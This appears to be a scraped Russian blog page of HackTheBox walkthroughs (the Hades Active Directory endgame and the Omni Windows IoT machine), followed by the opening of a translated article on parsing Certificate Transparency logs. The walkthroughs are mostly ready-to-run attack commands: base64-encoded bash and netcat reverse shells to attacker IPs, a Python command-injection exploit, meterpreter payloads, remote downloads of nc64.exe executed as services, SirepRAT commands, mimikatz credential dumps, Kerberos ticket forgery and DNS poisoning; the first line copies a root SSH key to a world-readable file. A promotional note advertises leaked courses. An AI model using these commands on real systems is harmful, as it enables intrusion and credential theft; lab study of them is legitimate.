#!/bin/shcp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa

Подождав немного обнаружим желанный ключ.



И подключимся как root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox endgame. Прохождение лаборатории Hades. Пентест Active Directory

29.12.2020 00:19:38 | Автор: admin


В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Hades предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 7 флагов.

Посмотреть разборы других лабораторий:
1.Professional Offensive Operations.
2.XEN.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Intro


Данный endgame состоит из 3 машин, и содержит 7 флагов.
1. Chasm flag RCE (command injection) + Initial Access;
2. Guardian flag Enumeration + ASREP Roasting;
3. Messenger flag Printer Bug + Silver Ticket + Service Control
4. Resurrection flag Creds Access and Dumping
5. Gateway flag BloodHound + Control account
6. Celestial flag ADIDNS + Responder
7. Dominion flag Lateral Movement



Так же дается описание и адрес доступного хоста.



Начнем!

Chasm flag


Данная машина имеет IP адрес 10.13.38.16, который я добавляю в /etc/hosts.
10.13.38.16 hades.htb

Первым делом сканируем открытые порты. Для этого я использую следующий скрипт, который проведет сканирование со скоростью 500 пакетов в секунду с помощью nmap, и определит отвечающие порты, после чего мы используем для этих портов встроенные скрипты nmap (опция -А).
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



И у нас открыт только 443 порт, отвечающий за соединение по протоколу HTTPS. Осмотревшись на сайте, отметим только домен gigantichosting.com и интересный сервис Certificate Checker.



Данный сервис просит указать IP адрес, причем происходит вывод (скорее всего) из командной строки. Давайте откроем у себя порт c использованием SSL и посмотрим входящий запрос. Для этого запустим ncat и обратимся к своему IP.



Давайте проверим, используется ли командная строка. Для этого в обращении к директории на нашем сервере вставим вложенную команду.
10.14.14.4:554/$(whoami)


И получаем имя пользователя, значит присутствует OS Command Injection! Давайте попробуем кинуть реверс шелл. Для этого будем использовать простой bash reverse-shell:
bash -i >& /dev/tcp/10.14.14.4/4321 0>&1

Но чтобы избежать неудобных символов, закодируем его в base64.



На стороне сервера нужно будет выполнить команду декодирования и передачи вывода в bash. При этом, вместо пробелов будем использовать конструкцию ${IFS}.
echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash

Давайте откроем порт для прослушивания и выполним запрос.
10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)



Таким образом, мы получаем бэкконнект. Но так как это лаборатория и шелл нестабильный, давайте напишем скрипт, запуская который мы будем легко создавать новый бэкконнект (это лишь для удобства). Все необходимые для этого данные возьмем из браузера.



Создадим python скрипт.
import requestsimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)payload = "10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)"params = {'name': payload}response = requests.post(url='https://10.13.38.16/ssltools/certificate.php', data=params, verify=False)

А теперь попробуем в качестве нагрузки использовать meterpreter. Давайте сначала сгенерируем пэйлоад.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.4 LPORT=4321 -f elf -o r.elf



Теперь используем конструкцию следующего вида. Мы кодируем наш файл в base64.



На стороне сервера, это нужно будет декодировать и записать в файл, после чего присвоить право на исполнение и выполнить. Все три действия еще раз кодируем в base64, таким образом нагрузка будет удовлетворять условиям нашего эксплоита.
echo "echo $(base64 -w0 r.elf) | base64 -d > /tmp/r ; chmod +x /tmp/r ; exec /tmp/r" | base64 -w0 ; echo



Вставляем данную строку, вместо base64 строки нашей нагрузки в python коде. Далее необходимо запустить листенер.
handler -p linux/x64/meterpreter/reverse_tcp -H 10.14.14.4 -P 4321



И давайте выполним наш эксплоит. Мы сразу увидим активное подключение в окне Metasploit быстро и удобно.



И сразу в текущей директории находим первый флаг.



Таким образом, мы получаем точку опоры на первом хосте.

Guardian flag


Первым делом, перечислим систему, на которую мы попали. Я использую LinPEAS.



Из вывода мы узнаем, что находимся в докер контейнере.



Так же находим еще один хост 192.168.99.1.



Посмотрим информацию о сетевых интерфейсах.



И в своей сети находим еще один хост.



Так как на хосте не было средств сканирования, скачаем скомпилированный с зависимостями nmap здесь и загрузим его на хост.



Далее просканируем два найденных хоста.





Обратившись к 443 порту на 192.168.99.1 получим уже знакомый сайт, откуда был сделан вывод, что именно на 192.168.99.1 развернут докер. Так как больше интересного на данном хосте найдено не было, я перешел к 172.17.0.1. Так как и там 443 порт ответил знакомым сайтом, то это тот же докер. И у нас успешно получается подключиться по ssh с дефолтными учетными данными (docker:tcuser). И сразу переходим к пользователю root.
shellpython3 -c 'import pty;pty.spawn("/bin/bash")'ssh docker@172.17.0.1



Тоже ничего не найдя, переходим к последнему варианту это мониторинг запускаемых процессов и трафика. Давайте скопируем на хост собранные pspy и tcpdump. Среди процессов ничего интересного, а вот в трафике, раз в 5 секунд обнаружим три неизвестных хоста в подсети 192.168.3.0/24.



Вернувшись к первому докеру просканируем подсеть, чтобы найти все хосты. Но находим всего один хост.
/tmp/nmap -sn 192.168.3.0/24



Предположительно работает брэндмауэр, поэтому снова сканируем всю сеть без пинга (-Pn) на наличие частых известных открытых портов.
/tmp/nmap -Pn 192.168.3.0/24 -p53,80,135,139,443,445



И находим три хоста (как и сказано в описании к лаборатории). Давайте просканируем порты на этих хостах.
/tmp/nmap -Pn 192.168.3.201-203



Так мы определили сервисы, а теперь сделаем туннель во внутреннюю сеть. Нам нужно маршрутизировать в сеть 192.168.3.0/24. Укажем это в модуле autoroute, а потом проверим, что маршрут успешно создан.
run autoroute -s 192.168.3.0/24run autoroute -p



Теперь давайте настроим перенаправитель socks4 прокси-сервер. За это отвечает модуль auxiliary/server/socks4a.



И чтобы мы могли использовать любое приложение с данным прокси, настроим proxychains. Для этого изменим файл конфигурации /etc/proxychains.conf.



Теперь мы можем перенаправить трафик любого приложения во внутреннюю сеть, указав proxychains -q. Так как везде доступно SMB, давайте посмотрим версии операционных систем и имена машин с помощью CrackMapExec.
proxychains -q cme smb 192.168.3.201-203



Давайте добавим данные записи в /etc/hosts.
192.168.3.201 dev.htb.local
192.168.3.202 web.htb.local
192.168.3.203 dc1.htb.local

Попробовав поподключаться к различным службам я ничего не получил. Но есть возможность пробрутить имена пользователей, с помощью атаки ASREP Roasting. Дело в том, что мы можем запросить запросить ключ (AS key) керберос данного пользователя, который будет зашифрован с помощью пароля этого пользователя. И если в UAC учетной записи установлен флаг DONT_REQ_PREAUTH (не требуется предварительная проверка подлинности Kerberos), то сервер вернет нам ключ. Но дело в том, что сервер различает ответ данный флаг не установлен и учетная запись не существует. Таким образом мы можем перечислить имена пользователей и там, где нам ответят, что флаг не установлен, мы делаем вывод о существовании такой учетной записи. Сделать это можно с помощью инструмента GetNPUser, входящего в пакет impacket. В качестве словаря используем, Username/names.txt из набора SecLists.
proxychains -q GetNPUsers.py htb.local/ -dc-ip dc1.htb.local -k -no-pass -usersfile ./names.txt | grep -v "Client not found in Kerberos database"



Как же я был удивлен, когда нам вернули ключ пользователя bob (не ожидал)! Плюс ко всему мы нашли еще двух пользователей kalle и lee. Так как ключ зашифрован на пароле пользователя, мы можем его пробрутить.
john --wordlist=./tools/rockyou.txt bob.hash



И мы получаем первую учетную запись! Теперь нужно снова проверить все службы с имеющимися у нас учетными записями. Начнем с общих ресурсов.
proxychains -q cme smb 192.168.3.201-203 -u bob -p "Passw0rd1!" --shares



И у нас есть доступ к некоторым директория на контроллере домена. Давайте рекурсивно отобразим содержимое всех директорий.
proxychains -q smbmap -d htb.local -u bob -p "Passw0rd1!" -H 192.168.3.203 -R



И видим ожидающий нас флаг, что означает еще один пройденный этап. Давайте заберем его.
proxychains -q smbclient.py 'htb.local/bob:Passw0rd1!@192.168.3.203'





Messenger flag


Так как у нас есть учетные данные пользователя, давайте получим информацию о домене.
enum4linux -u bob -p 'Passw0rd1!' -a 10.10.10.192 2>/dev/null









И мы получаем список пользователей, членство их в группах и парольную политику домена. Немного посмотрев дальнейшие векторы атаки, я наткнулся на Printer Bug.
proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dc1.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@web.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dev.htb.local' | grep MS-RPRN



Если есть двустороннее доверие, атакующий может использовать ошибку принтера MS-RPRN в домене, чтобы скомпрометировать машину, для которой активно неограниченное делегирование. Ошибка приводит к тому, что атакующий получает информацию об аутентификации, а именно NTLMv1 хеш учетной записи машины.

NTLMv1 хеш позволит нам получить ключ NTLM хеш учетной записи, что даст нам возможность выполнить Pass-The-Hash. Для данной атаки импользуем dementor (или printerbug) и эту инструкцию. Активируем Responder, чтобы отлавливать NTLMv1 хеш.
sudo responder -I tun0 --lm

И выполняем атаку (приведу и dementor и printerbug):
proxychains -q python dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.4 192.168.3.201proxychains -q python printerbug.py 'htb.local/bob:Passw0rd1!@dev.htb.local' 10.14.14.4



И в окне респондера получаем желаемый хеш.



Нам нужно конвертировать его в NTLM хеш.
python ntlmv1.py --ntlmv1 DEV$::HTB:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:c2f1c6d70a6f5ff9



И вот тут возникли проблемы. Так как перебрать DES ключи заняло бы около 150 дней, а платить на ресурсе crack.sh не хотелось, но нашелся человек, который поделился уже полученным с crack.sh хешем: 4a0cfb13364ac41247295dd31e1b70be.

Давайте создадим Silver Ticket Kerberos для службы CIFS. Для этого нам нужны хеш учетной записи, SID домена, сам домен и имя любого (даже придуманного пользователя). После создания экспортируем билет.
proxychains -q ticketer.py -nthash 4a0cfb13364ac41247295dd31e1b70be -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/192.168.3.201 ralfexport KRB5CCNAME=ralf.ccache



И мы можем управлять службами с помощью services.py из пакета impacket. Давайте создадим такую службу, которая будет загружать netcat с нашего хоста и выполнять реверс подключение.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task10 -display task10 -path 'curl http://10.14.14.7/nc64.exe -o C:\\Temp\\nc.exe'



Проверим конфигурации созданной службы.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name task10



И запустим ее.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task10



Хоть нам и сообщают об ошибке, но в окне веб-сервера видим удачное подключение.



proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task11 -display task11 -path 'C:\\Temp\\nc.exe -e cmd.exe 10.14.14.7 6543'proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task11



И в листенере наблюдаем успешное подключение.



Таким образом мы захватываем первую из трех целевых машин.



Resurrection flag


Но так как это не конец, нужно закрепиться на машине, для чего необходимо получить хоть какие-то учетные данные. Так как мы работаем от имени локального администратора, нам достаточно и хешей, но средства вроде mimikatz и meterpreter блокируются антивирусом. Дабы по понятным причинам не показывать способы криптования нагрузок, я использую простую нагрузку Cobalt Strike без всяких модификаций. Для начала запустим сервер и подключимся к нему.





Теперь необходимо создать листенер.



И вот только сейчас для этого листенера мы собираем нагрузку powershell: Attacks -> Packages -> Payload Generator.



Теперь на целевом хосте перейдем в powershell, скачаем нагрузку и выполним ее.



В окне Cobalt Strike наблюдаем активный сеанс, причем молнии свидетельствуют, что у нас имеются права администратора.



Cobalt принимает все команды поточно, но по умолчанию связь с сервером происходит раз в минуту, поэтому команды попадают в очередь выполнения. Чтобы связь происходила мгновенно и команды выполнялись также потоком, введем команду sleep 0. А затем сдампим хеши.



Ну и в случае чего, мы можем подключиться к хосту через WinRM.
proxychains -q evil-winrm -i dev.htb.local -u Administrator -H 67bb396c79f56301b7dc5d219cc85d86



Ну а мы уже продолжим в Cobalt Strike. Для того, чтобы прочно закрепиться на хосте, давайте выполним инъекцию новой нагрузки в процесс, работающий от имени System. Я выбрал winlogon.exe.







Как можно наблюдать, мы также работаем в контексте System. Чтобы остальные машины домена появились в списке целей Cobalt, давайте выполним сканирование.





И в добавок ко всему, давайте просканируем порты на двух новых хостах, чтобы информация сохранилась в базе Cobalt Strike.







Хост 192.168.3.201 можно удалить из списка, так как мы уже его захватили, но он обозначился как 10.13.38.17. Проведя разведку на хосте, не за что больше уцепиться не вышло. Была идея посмотреть хранилище учетных данных, для того чтобы восстановить сохраненные учетные данные, но оба хранилища оказались пусты.
shell vaultcmd /listshell vaultcmd /listcreds:"Web Credentials"shell vaultcmd /listcreds:"Windows Credentials"



И в конце концов я дошел до пункта теневые копии в своем чеклисте. И тут как раз в точку.





Давайте восстановим учетные данные из файла SAM теневой копии, для этого используем встроенный mimikatz.
mimikatz lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SAM



И пароль администратора легко находим в онлайн базах.



Но и этот пароль для передвижения по сети нигде не подходит. И тогда возникла идея посмотреть те же сохраненные учетные данные в хранилище Windows. Так как мы знаем пароль админа, то его хранилище мы и будем смотреть. На эту тему я уже писал статью.



Зашифрованные данные расположены по следующему пути: \AppData\Roaming\Microsoft\Credentials\. И мы находим два сохраненных значения.



Но для расшифрования нам нужно узнать мастер ключи обоих хранилищ, найти их можно тут: \AppData\Roaming\Microsoft\Protect\\.



Вся дальнейшая работа по восстановлению данных будет производится с помощью mimikatz. Давайте получим мастер ключ (повезло, он был в первом хранилище).
mimikatz dpapi::masterkey /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4124311166-4116374192-336467615-500\87790867-a883-4a2d-a467-019c315e1104" /password:"./*40ra26AZ"



А теперь расшифруем учетный данные.
mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\1A2572C793495F694F64823A392D4718" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A2EEB30EFC7958491B6578D9948EC7F" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



И мы получаем флаг, как факт того, что движемся в верном направлении и учетные данные доменного пользователя службы.

Gateway flag


Для удобства, добавим имеющиеся учетные данные в базу Cobalt Strike.



Теперь, давайте проведем разведку с помощью BloodHound, благо Cobalt позволяет запустить его из памяти.
execute-assembly /home/ralf/tmp/SharpHound.exe -d htb.local --domaincontroller 192.168.3.203 --ldapusername test-svc --ldappassword T3st-S3v!ce-F0r-Pr0d



Вся информация успешно собрана и записана в указанный архив. Давайте скачаем его.





Чтобы посмотреть граф, сначала запустим СУБД Neo4j, а потом bloodhound.



И мы получим следующий граф.



Набираем в поиске своего пользователя и смотрим, что мы имеем, в итоге обнаружим право GenericAll для хоста WEB.



И мы даже можем получить инструкцию по дальнейшей эксплуатации.



Нам понадобятся следующие инструменты: PowerView, Powermad и Rubeus.
Первым делом нужно добавить импортировать Powermad и с помощью powerpick добавить новую учетную запись компьютера.
New-MachineAccount -MachineAccount RalfPC -Password $(ConvertTo-SecureString 'RalfRalf!23' -AsPlainText -Force)



Теперь нам нужно узнать идентификатор безопасности новой учетной записи. Дальше нам нужен модуль Powerview.
Get-DomainComputer RalfPC



Далее создадим объект учетных данных известного нам пользователя test-svc, чтобы выполнять команды от его имени.
$TestSvcPass = ConvertTo-SecureString 'T3st-S3v!ce-F0r-Pr0d' -AsPlainText -Force$TestSvcCred = New-Object System.Management.Automation.PSCredential('htb.local\test-svc', $TestSvcPass)

Давайте получим список избирательного управления доступом DACL нашей созданной ученой записи.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4266912945-3985045794-2943778634-14605)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)

А теперь установим полученный DACL в поле msDS-AllowedToActOnBehalfOfOtherIdentity атакуемой нами машины.
Get-DomainComputer WEB | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $TestSvcCred

В Cobalt выполним все эти команды за один раз.



Давайте проверим, что данное свойство установилось. Как можно наблюдать, SID соответствует SIDу созданной нами учетной записи.
$RawBytes = Get-DomainComputer WEB -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0$Descriptor.DiscretionaryAcl



Теперь получим хеш пароля с помощью Rubeus, который мы выполним также в памяти.
execute-assembly /home/ralf/tmp/Rubeus.exe hash /password:RalfRalf!23



Теперь нужно имперсонировать тикет для пользователя iis-svc (по логике из вывода bloodhound). Но это ни к чему не приведет. Потратив много времени на разбор, участник сообщества досказал перепробовать всех известных пользователей (и для мы не получили код ответа 401 при обращении к ресурсу).
execute-assembly /home/ralf/tmp/Rubeus.exe s4u /user:RalfPC$ /rc4:4F2B5337B6E879AAE4FB0C15C57A8E9F /impersonateuser:lee /msdsspn:http/web.htb.local /ptt



Проверим локальное хранилище билетов и обнаружим там только что импортированный.



Проверим доступ к веб сервису.
$(Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://web.htb.local).StatusCode



Успешно! Далее я решил сохранить html файл, скачать его на локальную машину и посмотреть.
powerpick Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials -Uri "http://web.htb.local" -OutFile "C:\tmp\1.html"download 1.html



Добавим эти учетные данные в хранилище данных.



Давайте попробуем расширяться в сети, так как на машине открыт WinRM, то будем использовать именно его. Переходим в список целей, выбираем нужный нам хост и через контекстное меню -> Jump -> winrm64 открываем дополнительное окошко. Выбираем из списка remote_user и создаем новый SMB Listener.



И после подключения видим новую захваченную машину, правда без прав админа.





И как знак пройденного этапа, забираем еще один флаг.



Celestial flag


Проведя некоторую разведку на хосте остановимся на списке установленного программного обеспечения. Получить его можно из реестра.
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table AutoSize



Здесь особо привлекают две первые позиции, а именно, имеем следующие два вектора атаки: поиск и работа с хранилищем KeePass или просмотр трафика. Но хранилище мы не находим, но вот нашему пользователю доступен Wireshark.





Давайте создадим дамп трафика с помощью tshark.
tshark.exe -i Ethernet0 -b filesize:10000 -w C:\Users\remote_user.HTB\Documents\snif.pcap

Никаких учетных данных не находдим, поэтому углубимся в анализ и откроем данный файл в Wireshark на локальной машине. Находим обращение по трем интересным доменам. Но записи для них отсутствуют.





Дело в том, что по умолчанию, любой аутентифицированный пользователь может добавить DNS запись. Давайте проверим DACL. Предварительно загрузим powershell скрипт PowerMad. И запросим имеющиеся зоны и разрешения для ADIDNS.







Как можно увидеть, все пользователи имеют право создать запись. Давайте это и сделаем с помощью Invoke-DNSUpdate. Укажем свой IP в качестве целевого.
Invoke-DNSupdate -DNSType A -DNSName db1 -DNSData 10.14.14.5 -Verbose



И атака выполнена успешно. Проверим это.
Nslookup db1.htb.local 192.168.3.203



Eсть нужная нам запись. Теперь активируем респондер и ловим хеш.
sudo responder -I tun0 -wrf



Давайте перебирать данный хеш.
hashcat -m 5600 hashes.txt ./tools/rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 1



И у нас есть пароль администратора. Попробуем его использовать для подключения. Как и всегда, сначала дополняем хранилище учетных данных, потом создаем еще один SMB Beacon и выполняем подключение к хосту WEB через psexec64.







И наша карта атаки будет похожа на рисунок ниже, при этом мы работаем в контексте SYSTEM.





Забираем флаг администратора, как подтверждение еще одного пройденного этапа.



Dominion flag


Тут я вернулся к keepass. Найдем все, что его касается.
powerpick Get-ChildItem -Path C:\Users\ -Include @("*kee*", "*.kdb*") -force -Recurse -ErrorAction SilentlyContinue | Select-Object -Expand FullName

Мы найдем два конфига: у Администратора и пользователя.



В файле пользователя находим упоминание о базе kdbx, которая отсутствует.



Поэтому в охоте за учетными данными мы снова используем mimikatz, а именно успех приносит модуль lsadump::secrets.



Но что я не попробавл сразу, так это пароль локального администратора для других пользователей. Создав новый SMB Beacon, подключимся с помощью winrm64 как администратор к контроллеру домена.





И забираем последний флаг.



Вот и все. В качестве обратной связи, прокомментируйте узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Omni. Ломаем легенький Windows IoT

09.01.2021 18:16:01 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox (http://personeltest.ru/aways/www.hackthebox.eu). Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram (http://personeltest.ru/aways/t.me/RalfHackerChannel) и группу для обсуждения любых вопросов в области ИиКБ (http://personeltest.ru/aways/t.me/RalfHackerPublicChat). Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (http://personeltest.ru/aways/t.me/hackerralf8).

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.204, который я добавляю в /etc/hosts.

10.10.10.204omni.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта, принимающего один аргумент - адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Много открытых портов, при этом на 8080 нас встречает HTTP аутентификация Windows Device Portal. Давайте узнаем что это.

Таким образом, это IoT мы можем найти найти соответствующий популярный эксплоит SirepRAT.

Entry Point

Запускаем на локальной машине веб сервер.

sudo python3 -m http.server 80

Скачаем на удаленную машину netcat, запустим листенер и выполним реверс шелл с помощью netcat.

python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell IWR -Uri http://10.10.14.112/nc64.exe -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe"python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.112 4321" --v

И мы получаем оболочку.

Из программного обеспечения имеется только PowerShell.Просмотрим все файлы, включая вложенные директории, с целью найти что-нибудь интересное. И мы находим.

Get-ChildItem -Path "C:\Program Files" Recurse -force

В данном файле находим учетные данные двух пользователей. Давайте авторизуемся на веб сервере. И в консоле кинем еще один реверс шелл.

USER

Но сразу забрать флаг не вышло.

Давайте декодируем пароль.

$userTXT = Import-CliXml -Path C:\Data\Users\app\user.txt$userTXT.GetNetworkCredential().Password

ROOT

Теперь проделаем все те же функции от имени администратора.

И машина пройдена.

Подробнее..

Перевод Googles Certificate Transparency как источник данных для предотвращения атак

12.01.2021 14:15:46 | Автор: admin

Мы подготовили перевод статьи Райана Сирса об обработке логов Googles Certificate Transparency, состоящей из двух частей. В первой части дается общее представление о структуре логов и приводится пример кода на Python для парсинга записей из этих логов. Вторая часть посвящена получению всех сертификатов из доступных логов и настройке системы Google BigQuery для хранения и организации поиска по полученным данным.

С момента написания оригинала прошло уже три года и с тех пор количество доступных логов и, соответственно, записей в них возросло многократно. Тем более важно правильно подойти к обработке логов, если целью является максимизация количества получаемых данных.

Часть 1. Parsing Certificate Transparency Logs Like a Boss

В процессе разработки нашего первого проекта - phisfinder, я потратил много времени размышляя об анатомии фишинговых атак и источниках данных, которые позволяли бы идентифицировать следы, указывающие на предстоящие фишинговые кампаний еще до того, как они смогут нанести какой-либо реальный ущерб. [*]

Одним из источников, которые мы интегрировали (и определённо одним из лучших), стал Certificate Transparency Log (CTL) - проект, начатый Беном Лори и Адамом Ленгли в Google. По сути CTL - это лог, содержащий неизменяемый список сертификатов, выпущенных CA, который хранится в дереве Меркла, что позволяет при необходимости криптографически проверить каждый сертификат. [*]

Чтобы понять, с какими объемами данных придется иметь дело, давайте посмотрим, сколько записей содержится в каждом логе из списка с сайта CTL:

```pythonimport requestsimport jsonimport localelocale.setlocale(locale.LC_ALL, 'en_US')ctl_log = requests.get('https://www.gstatic.com/ct/log_list/log_list.json').json()total_certs = 0human_format = lambda x: locale.format('%d', x, grouping=True)for log in ctl_log['logs']:log_url = log['url']try:log_info = requests.get('https://{}/ct/v1/get-sth'.format(log_url), timeout=3).json()total_certs += int(log_info['tree_size'])except:continueprint("{} has {} certificates".format(log_url, human_format(log_info['tree_size'])))print("Total certs -> {}".format(human_format(total_certs))) ```

На выходе получаем:

ct.googleapis.com/pilot has 92,224,404 certificatesct.googleapis.com/aviator has 46,466,472 certificatesct1.digicert-ct.com/log has 1,577,183 certificatesct.googleapis.com/rocketeer has 89,391,361 certificatesct.ws.symantec.com has 3,562,198 certificatesctlog.api.venafi.com has 94,797 certificatesvega.ws.symantec.com has 200,401 certificatesctserver.cnnic.cn has 5,081 certificatesctlog.wosign.com has 1,387,492 certificatesct.startssl.com has 293,374 certificatesct.googleapis.com/skydiver has 1,249,079 certificatesct.googleapis.com/icarus has 48,585,765 certificatesTotal certs -> 285,037,607

285,037,607 на момент написания статьи. Это не такой большой объем данных, но все равно придется приложить определенные усилия, чтобы эффективно организовать хранение и поиск по сертификатам. Подробнее об этом во второй части.

Spoiler

Комментарий переводчика

Стоит отметить, что API выдает количество записей в логе, значительную часть которых составляют PreCerts (о них далее) и не представляют особого интереса. Также важно учитывать, что сертификаты могут дублироваться между разными логами, к примеру, данный сертификат присутствует одновременно в 6 различных логах, поддерживаемых Chrome. Таким образом, реальное число сертификатов значительно меньше, чем суммарное число записей в логах.

Тем не менее, на момент написания перевода, учитывая только логи, удовлетворяющие политике Google и включенные в Chrome, в списке присутствует 46 логов, содержащие в сумме 6,861,473,804 записей, что уже потребует значительных ресурсов для полной обработки.

Анатомия CTL

Получение записей из CTL осуществляется по HTTP, что позволит нам легко получать данные с помощью современных библиотек. К сожалению, сами данные в записях представляют собой запутанные бинарные структуры, что несколько усложняет процесс парсинга. Пример записи в логе:

```json// curl -s 'https://ct1.digicert-ct.com/log/ct/v1/get-entries?start=0&end=0' | jq .{  "entries": [    {      "leaf_input": "AAAAAAFIyfaldAAAAAcDMIIG/zCCBeegAwIBAgI...",      "extra_data": "AAiJAAS6MIIEtjCCA56gAwIBAgIQDHmpRLCMEZU..."    }  ]}```

Каждая запись содержит поля `leaf_input` и `extra_data` в формате base64. Обращаясь к RFC6962 видим, что `leaf_input` - закодированная структура MerkleTreeLeaf, а `extra_data` - PrecertChainEntry.

Про PreCerts

